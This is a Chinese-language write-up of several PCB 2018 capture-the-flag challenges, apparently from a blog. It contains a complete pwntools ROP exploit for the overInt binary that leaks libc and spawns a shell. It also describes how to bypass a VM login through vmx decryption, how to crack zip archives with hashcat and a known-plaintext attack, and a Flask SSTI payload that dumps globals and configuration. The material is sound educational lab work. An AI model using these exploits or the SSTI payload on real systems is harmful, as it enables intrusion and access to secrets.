PCB鹏程杯2018 writeup

请阅读正文

overInt

附带大佬的writeup

先过两关检测,然后有:

1
2
3
*(&v8 + v6) = v5;
v3 = (int *)(unsigned int)v5;
printf("str_pos is %c\n", v3);

可以一位位的修改栈上任意地址

大佬说才100,只能写这么多了。完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
from struct import pack
context(os='linux',arch='amd64',aslr = 'False')
local = 1
log_level='debug'

if local:
p = process("./overInt")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./overInt")
#libc = ELF('./libc_x64.so.6')
else:
p = remote('58.20.46.148',35272)
elf = ELF("./overInt")
#libc = ELF('./libc_x64.so.6')

def change_addr(num,string):
j = 0
for i in range(8):
p.recvuntil("Which position you want to modify?\n")
payload = p32(num)
p.send(payload)
p.recvuntil("What content you want to write in?\n")
payload = string[j]
p.send(payload)
num += 1
j += 1

pop_rdi = 0x0000000000400b13
read_got = elf.got["read"] # 0x602038
alarm_got = elf.got["alarm"] # 0x602030
start = 0x4005D0
puts_plt = elf.plt["puts"] # 0x40054c

p.recvuntil("Please set arrary number:")
p.send("over")
p.recvuntil("How many numbers do you have?\n")
p.send(p32(10))
for i in range(9):
data = p.recv()
p.send(p32(0))
p.recv()
p.send(p32(0x20633372))

p.recvuntil("How many positions you want to modify?\n")
p.send(p32(32))

string = "\x13\x0b\x40\x00\x00\x00\x00\x00" #pop_rdi
change_addr(0x38,string)
string = "\x38\x20\x60\x00\x00\x00\x00\x00" #read_got
change_addr(0x40,string)
string = "\x4c\x05\x40\x00\x00\x00\x00\x00" #puts_plt
change_addr(0x48,string)
string = "\xd0\x05\x40\x00\x00\x00\x00\x00" #start
change_addr(0x50,string)
p.recvuntil("!")
data = p.recvuntil("\n",drop=True).ljust(8,"\x00")
data = u64(data)
libc_base = data - 0x0f7250
binsh_addr = libc_base + 0x18cd57
system_addr = libc_base + 0x045390

p.recvuntil("Please set arrary number:")
p.send("over")
p.recvuntil("How many numbers do you have?\n")
p.send(p32(10))
for i in range(9):
data = p.recv()
p.send(p32(0))
p.recv()
p.send(p32(0x20633372))
p.recvuntil("How many positions you want to modify?\n")
p.send(p32(24))
string = "\x13\x0b\x40\x00\x00\x00\x00\x00" #pop_rdi
change_addr(0x38,string)
string = pack('L',binsh_addr)
change_addr(0x40,string)
string = pack('L',system_addr)
change_addr(0x48,string)

p.interactive()

hack1t

打开虚拟机发现需要密码,把题目描述中的bibinb输入进行就行。



打开虚拟机后发现需要用户账号密码才进得去,随便试了一下都以失败告终,所以考点就是绕过用户验证,按常规套路来说在系统启动是强行进入GRUB,然后改密码,但发现进GRUB也需要密码:



所以这条路也行不通,那么另一个思路就是在加载系统时加载一个ISO,然后进入系统,再ISO镜像中对原来的硬盘进行操作。但发现修改虚拟机配置需要密码,而这个密码跟上面的不一样。



所以这条路暂时也没辙了。回过头查看下虚拟机的配置文件如vmx、nvram等,发现都已经被加密,正常的配置文件是键值对存储,而加密后的则如下:

1
2
3
4
5
.encoding = "UTF-8"
displayName = "Ubuntu 64-bit"
policy.vm.sourcevmid = "52 b5 65 b9 89 e2 54 bf-e2 ee e6 99 1f 9d 2d 29"
encryption.keySafe = "vmware:key/list/(pair/(phrase/a%2bFUjt......))"
encryption.data = "A8Y2HMBeynR9AnL....."

因为虚拟机的配置是通过文件来实现的,所以如果我们能直接修改配置文件也能达到我们想要的结果,经过一番搜索后找到了一些有用的资料,在VMware的社区上发现了一个issue,有个大神实现了对vmx加密算法的破解和运用,并且发布到了GitHub中。

当然使用这个工具解密是会Will ask for the password,但我们还是可以再碰一下bibinb这个密码。

其实这个工具很早就下下来了,但当时不会用,其实是它的脚本写的有瑕疵,坑爹了,给我报了个error:



1
Error: Cannot read from file Ubuntu 64-bit.vmx.bak

但拿去操作正常的vmx文件又是可以的,当时也没怎么多想,就把工具放在了一边,继续找资料,但后来就觉得这个错误或许可以跟一下,而正是这个决定让我拿下这题。打开main.py,很容易就发现了问题所在,程序进来后会判断:

1
2
3
4
5
6
7
8
9
for line in lines:
if displayname is None:
match = re.match('displayName *= *"(.+)"\n', line)
if match:
displayname = match.group(1)
if 'encryption.keySafe' in line:
keysafe = line
elif 'encryption.data' in line:
data = line

而在观察中发现它给的displayname是小写,而判断是大写,直接改一下试试:



改好后直接跑,发现成功解密出配置:



那么接下来就好办了,先在其他虚拟机上配置一个CDROM,看一下它的vmx配置文件怎么写,然后我们照抄过来,然后在加密回去就行,下面是配置cdrom:

1
2
3
4
sata0:1.deviceType = "cdrom-image"
sata0:1.fileName = "E:\kali-linux-2018.1-i386.iso"
sata0:1.present = "TRUE"
usb.present = "TRUE" # USB开启

然后在把解密出来的文件中的中文随便改成什么英文,防止python的编码错误。

1
python3 main.py -e -D "Ubuntu 64-bit" -p bibinb reconver.vmx myencry.vmx

改好后替换掉原来的文件,然后在虚拟机配置中就能看到cdrom和USB已被开启。



紧接着在虚拟机启动时按ESC选择从CD-ROM中启动,这样就能进去系统,从而操作文件系统。

将四个部分的rar压缩包放在同一个文件夹,然后解压:



拿到flag。

Traffic_Light

这是一个交通灯的gif,用filebinwalk检查后都很正常,猜测可能是灯的闪烁代表0,1。网上找了个分离每帧git的python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding:utf-8 -*-

from PIL import Image
import os
gifFileName = 'Traffic_Light.gif'
#使用Image模块的open()方法打开gif动态图像时,默认是第一帧
im = Image.open(gifFileName)
pngDir = gifFileName[:-4]
#创建存放每帧图片的文件夹
os.mkdir(pngDir)
try:
while True:
#保存当前帧图片
current = im.tell()
im.save(pngDir+'/'+str(current)+'.png')
#获取下一帧图片
im.seek(current+1)
except EOFError:
pass

结果得到1168个项目。。。



没想到快捷方法,,只能手动过了一遍得到,先把绿灯当做1,红灯为0,黄灯为空格:

1
2
3
4
5
6
7
8
9
10
11
12
13
10011001 10010011 10011110 10011000 10000100
10101111 10010011 11001100 11001011 10001100
11001100 10100000 10001111 11001011 10000110
10100000 11001011 10001011 10001011 11001100
10010001 10001011 11001110 11001111 10010001
10100000 10001011 11001111 10100000 10001011
10001101 11001011 10011001 10011001 11001110
10011100 10100000 10001100 11001011 10011001
11001100 10001011 10000110 10100000 10001000
10010111 11001100 10010001 10100000 10000110
11001111 10001010 10100000 11001011 10001101
11001100 10100000 11001111 10001010 10001011
10001100 11001110 10011011 11001100 10000010

结果也发现每8个红绿灯就有一个黄灯,刚好分隔开,写个脚本跑一下:

1
2
3
4
5
6
7
8
9
10
f= open('./temp', 'r')

flag = ''
for oneline in f.readlines():
numbers = oneline.split(' ')
for one in numbers:
one = one.replace('1','2').replace('0','1').replace('2','0')
flag += chr(int(one, 2))

print(flag)

上面之所以做了替换时因为绿灯跟红灯代表的0/1给弄反了。。

What’s_this

Binwalk后发现有很多东西:



Foremost后可以得到:



其中zip2.zip是加密的,而且里面有一个2-stage的文件,再看上面得到了,容易联想到明文攻击。



我们把上面的2-stage.what的what去掉,然后用Ubuntu自带的zip去压缩,7z和WinRAR压缩出来的都不行,ARCHPR识别不了。最后密码是Hello_Hi。



但flowerdance的内容令人失望,并没有有价值的东西。



File一下2-stage可以发现是jpg,直接改成jpg。



再根据提示用cloacked-pixel对这个图片进行处理,使用:



可以得到一个zip文件,内容如下:



但zip3、zip4都需要密码。前面得到的密码都对不上,而且发现这里zip3.zip中的guess文件只有4字节,可以考虑CRC32碰撞攻击。



这里使用hashcat神器,-D 2表示GPU破解。

1
.\hashcat64.exe -a 3 -m 11500 -D 2 --force --increment --increment-min 4 --increment-max 6 --force 99bed60e:00000000 ?a ?a?a?a?a?a



结果只需2s,神器不亏是神器。。。

但密码不是zip3的,是zip4的。。然而还是没惊喜



回头再看那个docx文件,突然发现还有隐藏的东西:



直接将docx改成zip提取嵌入对象,在media里有新的东西:



其中image1.emf能打开,而i_love_you.emf却不行,但观察它的文件结尾,可以看到是zip的格式,binwalk也得出zip end。



在观察发现i_love_you.emf跟zip4.zip的文件大小相同,考虑异或一下两个文件,这里直接Google代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding: utf-8 -*-
import binascii
import struct


# 每个字节转成hex,0x顺便去掉,对于不足两位的补0
def str2hex(str):
hexs = []
for s in str:
tmp = (hex(ord(s)).replace('0x', ''))
if len(tmp) == 2:
hexs.append(tmp)
else:
hexs.append('0' + tmp)
return hexs


arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
arr2 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]


def tran(r):
for i in range(len(arr)):
if r == arr[i]:
return arr2[i]


f = open('D:\\CTF\\pcb\\whatis\\output\\zip\\docx\\word\\media\\I_Love_You.emf', 'rb')
f2 = open('D:\\CTF\\pcb\\whatis\\output\\zip\\zip4.zip', 'rb')
hexs = []
hexs2 = []
while True:
t = f.readline()
t2 = f2.readline()
if not t or not t2:
break
hexs.extend(str2hex(t))
hexs2.extend(str2hex(t2))
f.close()
f2.close()

ff = open('out.txt', 'wb')
for i in range(min(len(hexs), len(hexs2))):
a = tran(hexs[i][0]) * 16 + tran(hexs[i][1])
b = tran(hexs2[i][0]) * 16 + tran(hexs2[i][1])
B = struct.pack('B', a ^ b)
ff.write(B)
ff.close()

最终可以发现出来的是一个zip,相信这个才是完整的zip,用密码打开后:



shadow

这道题没解出来,但是也学到了很多flask安全性的东西,特别是SSTI的技巧以及对flask session解密和签名的方法,因为没法复现,只能贴一下当时找的有价值的资料:

在flask中url_for.__globals__可以拿到危险函数,如file、system、os等,但在这道题中并不能执行,先Mark一下。

1
2
3
4
5
6
{{url_for.__globals__}} # 全局类包括了  file、eval等等

"""
{'find_package': <function find_package at 0x7f0b34ca79b0>, '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 'get_load_dotenv': <function get_load_dotenv at 0x7f0b34ca7398>, 'is_ip': <function is_ip at 0x7f0b34cab0c8>, 'current_app': <Flask 'app'>, 'PY2': True, 'send_from_directory': <function send_from_directory at 0x7f0b34ca7848>, 'session': <SecureCookieSession {u'csrf_token': '004932e5d4ffd2ed1d2c31180fe1f6dadc1591ff', u'_id': '22858459d2136b66a0e4cacf8a4ccac773bce0fe3c3d97f7f1929597cb90413eb288850dbc6daad7be96721767586024f036099a752ec33688113c7e2157a09e', u'user_id': u'77', u'name': u"0' (select hex(hex(database()))) '0", u'is_admin': False, u'_fresh': True}>, 'get_flashed_messages': <function get_flashed_messages at 0x7f0b34ca76e0>, 'BadRequest': <class 'werkzeug.exceptions.BadRequest'>, 'posixpath': <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>, 'BuildError': <class 'werkzeug.routing.BuildError'>, 'url_quote': <function url_quote at 0x7f0b359a3668>, 'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>, 'get_root_path': <function get_root_path at 0x7f0b34ca78c0>, '__package__': 'flask', 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>, '_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7f0b34c97690>, '_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7f0b34ca7410>, 'total_seconds': <function total_seconds at 0x7f0b34ca7a28>, 'get_env': <function get_env at 0x7f0b34ca70c8>, '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: \xc2\xa9 2010 by the Pallets team.\n :license: BSD, see LICENSE for more details.\n', 'flash': <function flash at 0x7f0b34ca7668>, 'mimetypes': <module 'mimetypes' from '/usr/lib/python2.7/mimetypes.pyc'>, 'adler32': <built-in function adler32>, 'get_template_attribute': <function get_template_attribute at 0x7f0b34ca75f0>, '_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7f0b34c901d0>, '__builtins__': {'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>, 'help': Type help() for interactive help, or help(object) for help about object., 'vars': <built-in function vars>, 'SyntaxError': <type 'exceptions.SyntaxError'>, 'unicode': <type 'unicode'>, 'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>, 'memoryview': <type 'memoryview'>, 'isinstance': <built-in function isinstance>, 'copyright': Copyright (c) 2001-2016 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'NameError': <type 'exceptions.NameError'>, 'BytesWarning': <type 'exceptions.BytesWarning'>, 'dict': <type 'dict'>, 'input': <built-in function input>, 'oct': <built-in function oct>, 'bin': <built-in function bin>, 'SystemExit': <type 'exceptions.SystemExit'>, 'StandardError': <type 'exceptions.StandardError'>, 'format': <built-in function format>, 'repr': <built-in function repr>, 'sorted': <built-in function sorted>, 'False': False, 'RuntimeWarning': <type 'exceptions.RuntimeWarning'>, 'list': <type 'list'>, 'iter': <built-in function iter>, 'reload': <built-in function reload>, 'Warning': <type 'exceptions.Warning'>, '__package__': None, 'round': <built-in function round>, 'dir': <built-in function dir>, 'cmp': <built-in function cmp>, 'set': <type 'set'>, 'bytes': <type 'str'>, 'reduce': <built-in function reduce>, 'intern': <built-in function intern>, 'issubclass': <built-in function issubclass>, 'Ellipsis': Ellipsis, 'EOFError': <type 'exceptions.EOFError'>, 'locals': <built-in function locals>, 'BufferError': <type 'exceptions.BufferError'>, 'slice': <type 'slice'>, 'FloatingPointError': <type 'exceptions.FloatingPointError'>, 'sum': <built-in function sum>, 'getattr': <built-in function getattr>, 'abs': <built-in function abs>, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'print': <built-in function print>, 'True': True, 'FutureWarning': <type 'exceptions.FutureWarning'>, 'ImportWarning': <type 'exceptions.ImportWarning'>, 'None': None, 'hash': <built-in function hash>, 'ReferenceError': <type 'exceptions.ReferenceError'>, 'len': <built-in function len>, 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'frozenset': <type 'frozenset'>, '__name__': '__builtin__', 'ord': <built-in function ord>, 'super': <type 'super'>, 'TypeError': <type 'exceptions.TypeError'>, 'license': Type license() to see the full license text, 'KeyboardInterrupt': <type 'exceptions.KeyboardInterrupt'>, 'UserWarning': <type 'exceptions.UserWarning'>, 'filter': <built-in function filter>, 'range': <built-in function range>, 'staticmethod': <type 'staticmethod'>, 'SystemError': <type 'exceptions.SystemError'>, 'BaseException': <type 'exceptions.BaseException'>, 'pow': <built-in function pow>, 'RuntimeError': <type 'exceptions.RuntimeError'>, 'float': <type 'float'>, 'MemoryError': <type 'exceptions.MemoryError'>, 'StopIteration': <type 'exceptions.StopIteration'>, 'globals': <built-in function globals>, 'divmod': <built-in function divmod>, 'enumerate': <type 'enumerate'>, 'apply': <built-in function apply>, 'LookupError': <type 'exceptions.LookupError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'basestring': <type 'basestring'>, 'UnicodeError': <type 'exceptions.UnicodeError'>, 'zip': <built-in function zip>, 'hex': <built-in function hex>, 'long': <type 'long'>, 'next': <built-in function next>, 'ImportError': <type 'exceptions.ImportError'>, 'chr': <built-in function chr>, 'xrange': <type 'xrange'>, 'type': <type 'type'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'Exception': <type 'exceptions.Exception'>, 'tuple': <type 'tuple'>, 'UnicodeTranslateError': <type 'exceptions.UnicodeTranslateError'>, 'reversed': <type 'reversed'>, 'UnicodeEncodeError': <type 'exceptions.UnicodeEncodeError'>, 'IOError': <type 'exceptions.IOError'>, 'hasattr': <built-in function hasattr>, 'delattr': <built-in function delattr>, 'setattr': <built-in function setattr>, 'raw_input': <built-in function raw_input>, 'SyntaxWarning': <type 'exceptions.SyntaxWarning'>, 'compile': <built-in function compile>, 'ArithmeticError': <type 'exceptions.ArithmeticError'>, 'str': <type 'str'>, 'property': <type 'property'>, 'GeneratorExit': <type 'exceptions.GeneratorExit'>, 'int': <type 'int'>, '__import__': <built-in function __import__>, 'KeyError': <type 'exceptions.KeyError'>, 'coerce': <built-in function coerce>, 'PendingDeprecationWarning': <type 'exceptions.PendingDeprecationWarning'>, 'file': <type 'file'>, 'EnvironmentError': <type 'exceptions.EnvironmentError'>, 'unichr': <built-in function unichr>, 'id': <built-in function id>, 'OSError': <type 'exceptions.OSError'>, 'DeprecationWarning': <type 'exceptions.DeprecationWarning'>, 'min': <built-in function min>, 'UnicodeWarning': <type 'exceptions.UnicodeWarning'>, 'execfile': <built-in function execfile>, 'any': <built-in function any>, 'complex': <type 'complex'>, 'bool': <type 'bool'>, 'ValueError': <type 'exceptions.ValueError'>, 'NotImplemented': NotImplemented, 'map': <built-in function map>, 'buffer': <type 'buffer'>, 'max': <built-in function max>, 'object': <type 'object'>, 'TabError': <type 'exceptions.TabError'>, 'callable': <built-in function callable>, 'ZeroDivisionError': <type 'exceptions.ZeroDivisionError'>, 'eval': <built-in function eval>, '__debug__': True, 'IndentationError': <type 'exceptions.IndentationError'>, 'AssertionError': <type 'exceptions.AssertionError'>, 'classmethod': <type 'classmethod'>, 'UnboundLocalError': <type 'exceptions.UnboundLocalError'>, 'NotImplementedError': <type 'exceptions.NotImplementedError'>, 'AttributeError': <type 'exceptions.AttributeError'>, 'OverflowError': <type 'exceptions.OverflowError'>}, 'text_type': <type 'unicode'>, '__file__': '/usr/local/lib/python2.7/dist-packages/flask/helpers.pyc', 'get_debug_flag': <function get_debug_flag at 0x7f0b34ca7320>, 'RLock': <function RLock at 0x7f0b35923938>, 'safe_join': <function safe_join at 0x7f0b34ca77d0>, 'sys': <module 'sys' (built-in)>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'Range': <class 'werkzeug.datastructures.Range'>, 'stream_with_context': <function stream_with_context at 0x7f0b34ca7488>, '_os_alt_seps': [], '__name__': 'flask.helpers', '_missing': <object object at 0x7f0b379f71a0>, 'pkgutil': <module 'pkgutil' from '/usr/lib/python2.7/pkgutil.pyc'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'unicodedata': <module 'unicodedata' (built-in)>, 'wrap_file': <function wrap_file at 0x7f0b359ba2a8>, 'socket': <module 'socket' from '/usr/lib/python2.7/socket.pyc'>, 'update_wrapper': <function update_wrapper at 0x7f0b379d2758>, 'make_response': <function make_response at 0x7f0b34ca7500>, 'request': <Request 'http://58.20.46.149:25412/{{url_for.__globals__}}' [GET]>, 'string_types': (<type 'str'>, <type 'unicode'>), 'message_flashed': <flask.signals._FakeSignal object at 0x7f0b34ca2a90>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'send_file': <function send_file at 0x7f0b34ca7758>, 'time': <built-in function time>, 'url_for': <function url_for at 0x7f0b34ca7578>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7f0b34ca7938>, 'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>}

"""

而当configNone时,还可以使用url_for.__globals__.current_app.config得到config、SECRET_KEY等信息。

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×